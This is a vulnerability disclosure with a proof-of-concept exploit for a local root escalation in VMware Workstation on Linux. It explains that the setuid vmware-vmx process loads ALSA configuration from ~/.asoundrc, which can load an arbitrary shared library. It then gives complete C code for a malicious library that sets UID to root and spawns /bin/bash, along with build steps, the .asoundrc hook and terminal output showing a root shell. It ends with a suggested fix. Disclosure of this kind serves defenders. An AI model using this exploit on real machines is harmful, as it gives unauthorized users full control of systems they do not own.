/* This vulnerability permits an unprivileged user on a Linux machine on which VMWare Workstation is installed to gain root privileges. The issue is that, for VMs with audio, the privileged VM host process loads libasound, which parses ALSA configuration files, including one at ~/.asoundrc. libasound is not designed to run in a setuid context and deliberately permits loading arbitrary shared libraries via dlopen(). To reproduce, run the following commands on a normal Ubuntu desktop machine with VMWare Workstation installed: ~$ cd /tmp /tmp$ cat > evil_vmware_lib.c */ #define _GNU_SOURCE #include <stdlib.h> #include <string.h> #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <sys/prctl.h> #include <err.h> extern char *program_invocation_short_name; __attribute__((constructor)) void run(void) { if (strcmp(program_invocation_short_name, "vmware-vmx")) return; uid_t ruid, euid, suid; if (getresuid(&ruid, &euid, &suid)) err(1, "getresuid"); printf("current UIDs: %d %d %d\n", ruid, euid, suid); if (ruid == 0 || euid == 0 || suid == 0) { if (setresuid(0, 0, 0) || setresgid(0, 0, 0)) err(1, "setresxid"); printf("switched to root UID and GID"); system("/bin/bash"); _exit(0); } } /* /tmp$ gcc -shared -o evil_vmware_lib.so evil_vmware_lib.c -fPIC -Wall -ldl -std=gnu99 /tmp$ cat > ~/.asoundrc hook_func.pulse_load_if_running { lib "/tmp/evil_vmware_lib.so" func "conf_pulse_hook_load_if_running" } /tmp$ vmware Next, in the VMWare Workstation UI, open a VM with a virtual sound card and start it. Now, in the terminal, a root shell will appear: /tmp$ vmware current UIDs: 1000 1000 0 bash: cannot set terminal process group (13205): Inappropriate ioctl for device bash: no job control in this shell ~/vmware/Debian 8.x 64-bit# id uid=0(root) gid=0(root) groups=0(root),[...] ~/vmware/Debian 8.x 64-bit# I believe that the ideal way to fix this would be to run all code that doesn't require elevated privileges - like the code for sound card emulation - in an unprivileged process. However, for now, moving only the audio output handling into an unprivileged process might also do the job; I haven't yet checked whether there are more libraries VMWare Workstation loads that permit loading arbitrary libraries into the vmware-vmx process. Tested with version: 12.5.2 build-4638234, running on Ubuntu 14.04. */